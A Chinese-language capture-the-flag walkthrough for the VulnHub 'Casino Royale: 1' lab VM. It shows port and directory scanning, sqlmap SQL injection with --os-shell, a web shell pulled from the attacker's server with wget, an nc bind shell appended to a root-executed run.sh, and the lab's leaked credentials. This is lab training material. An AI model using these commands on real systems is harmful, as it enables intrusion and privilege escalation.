Casino Royale: 1
难度:⌗
Intermediate
关于:⌗
Will you gain your status as a 00 agent?
题目地址:https://www.vulnhub.com/entry/casino-royale-1,287/#
Flags:⌗
您的目标是获取root和Flag is /root/flag/flag.sh
Write Up:⌗
0x01 获取root⌗
1.通过nmap扫描靶机端口版本,发现存在四个端口:21、25、80、8081
nmap -sV x.x.x.x
2.我们从80端口入手,首先查看网页的源代码并无发现线索,其次对80端口进行目录爆破找到一个phpmyadmin的登陆页面和一个install
dirb [url]
3.我们开打install页面出现这样一个界面,点击cliek to start install 后页面报错
4.存在install页面说明网站肯定存在这个cms,我们查找相关cms版本信息并获取到源代码且存在一个exp漏洞
5.翻开源代码后台路径是pokeradmin
,并且发现登陆处并且未做sql注入防护
6.直接使用sqlmap跑取账户密码后getshell
sqlmap.py -u 'http://192.168.235.140:80/pokeradmin/' --data='op=adminlogin&username=admin&password=admin' --level=5 --risk=3 --os-shell
7.将kali开一个apache把一句话放在/var/www/html中,然后在靶机的shell中运行wget
8.打开中国蚁剑或中国菜刀(效果是一样的)配置如下
9.getshell后我们先将数据库的账户密码保存下来
valenka:11archives11!
10.在一段查看后没有发现有价值的信息,查看8081端口,主页面有一个Run Data Collect的按钮,点击后访问到collect.php
11.因为我们已经拿到www-data的权限了所以我们可以通过find来查找collect.php,找到8081端口的主目录在/opt/casino-royale/
find / -name [name]
12.进入8081端口主目录后查看文件权限
13.查看权限后发现只有casino-data-collection.py
这个文件我可以修改,cat查看文件内容,python文件打开了user-data.log
继续查看里面内容与collect.php内容一样
14.继续查看collect.php
,基本了解程序大概的过程和出题人的思路,collect.php
为root权限只可读所以不能更改但是执行的casino-data-collection.py
为www-data组所以可以修改,而casino-data-collection.py
打开了user-data.log
所以php读到了log的内容,所以我们只要修改python文件即可获取到le的权限
解题思路:在python文件中通过os模块执行系统命令返回nc拿到le权限
15.修改python后,再在浏览器重新打开页面靶机会开启一个带bash的1111端口,使用攻击机的nc连接,获取到le的权限
16.但是这是一个半交互式的页面无法切换账户,通过查阅资料可以通过python调用本地shell
echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python /tmp/asdf.py
17.在获取到le的交互式shell后尝试第九步中valenka的账户密码登录。成功登陆但是先切回le,exit退出
valenka:11archives11!
18.查看run.sh,并尝试运行mi6_detect_test
这个程序,发现与run.sh中的内容相同,我猜测mi6_detect_test
就是将run.sh运行
18.mi6_detect_test
为root所以我们通过echo命令把后门写入run.sh在运行mi6既可获取到root权限
echo "nc -lvvp 1234 -t -e /bin/bash" >> run.sh
19.成功监听端口,攻击机nc连接靶机,并getflag
难点总结: 1.python半交互式切换到全交互式 2.mi6_detect_test和run.sh程序的关联 3.理清这几个程序之间的关系 4.无法通过内核漏洞提权